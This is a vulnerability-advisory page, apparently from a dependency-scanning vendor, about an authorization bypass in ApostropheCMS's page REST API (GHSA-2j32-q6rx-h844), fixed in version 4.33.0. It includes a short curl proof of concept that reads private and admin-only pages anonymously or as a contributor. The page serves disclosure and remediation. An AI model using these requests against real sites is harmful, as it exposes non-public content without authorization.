Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

ApostropheCMS: Page REST API authorization bypassGHSA-2j32-q6rx-h844

MEDIUMFix: apostrophecms/apostrophe@9500b8b

GHSA-2j32-q6rx-h844 is a medium-severity (CVSS 5.3) CWE-863 vulnerability in apostrophe. A fix is available for apostrophe — see the affected versions and patch details below.

Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 22, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-2j32-q6rx-h844.

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs15th percentile — riskier than 15% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-2j32-q6rx-h844 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,803 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

8other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
apostrophenpm
18Kdownloads / week

Description

Summary The core page REST API reads full page documents with .permission(false) in getOne and in the all=1 tree dump, bypassing page-type viewRole, visibility: private, and visibility: loginRequired checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by _id/slug.

Details packages/apostrophe/modules/@apostrophecms/page/index.js:

  • getOne (L456–465): await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria) — no viewRole threshold, no visibility filtering.
  • all handler (L318–395): getRestQuery(req).permission(false) (L384–385) walks every page type and returns the projection including visibility.
  • publicApiCheckAsync (L3044) only checks that publicApiProjection exists — it performs no authorization.
  • Correct control behaves differently: piece-type/index.js:getOne (L319–327) uses getRestQuery(req) without .permission(false) and enforces viewRole.

PoC

# Anonymous (no session) — private, admin-only page:
curl "http://localhost:3100/api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  {"_id":"...:en:published","title":"Secret Private Page","slug":"/secret-page",
#         "type":"private-type","visibility":"private","secretData":"TOP-SECRET-VALUE-abc123"}

# Anonymous full site-map dump (includes private + loginRequired pages):
curl "http://localhost:3100/api/v1/@apostrophecms/page?all=1"        # → 200, full tree

# Contributor (cont_admin) reads full admin-only doc incl. protected field:
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:published"
# → 200  secretData = TOP-SECRET-VALUE-abc123
# Controls (correctly enforced):
curl -b contrib.cookies ".../api/v1/@apostrophecms/page?type=private-type&autocomplete=zz"   # → 403
curl -b contrib.cookies ".../api/v1/@apostrophecms/page/d576242ve1dkzb12jiiabujd:en:draft"   # → 403

Impact Unauthenticated disclosure of visibility: private and loginRequired pages (full documents, not just paths) and of the complete site structure with visibility/type metadata; contributors read admin-only page types and their protected fields. Because _ids are enumerable and leaked by all=1, this is systemic.

Remediation — Remove .permission(false) from getOne/all or re-apply the type's viewRole threshold plus the same visibility/login-required criteria the list and autocomplete paths use (mirror piece-type); make publicApiCheck config-presence-only and add an explicit authorization step per verb.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npmapostropheall versions4.33.0npm install apostrophe@4.33.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for apostrophe, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update apostrophe to 4.33.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2j32-q6rx-h844 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

**Summary** The core page REST API reads full page documents with `.permission(false)` in `getOne` and in the `all=1` tree dump, bypassing page-type `viewRole`, `visibility: private`, and `visibility: loginRequired` checks. Unauthenticated visitors and low-privilege contributors can read admin-only and non-public page content by `_id`/slug. **Details** `packages/apostrophe/modules/@apostrophecms/page/index.js`: - `getOne` (L456–465): `await self.publicApiCheckAsync(req); ... self.getRestQuery(req).permission(false).and(criteria)` — no `viewRole` threshold, no `visibility` filtering. - `all` h
O3 Security · Impact-Aware SCA

Is GHSA-2j32-q6rx-h844 in your dependencies?

Find it across npm, including transitive dependencies.

ApostropheCMS: Page REST API authorization bypass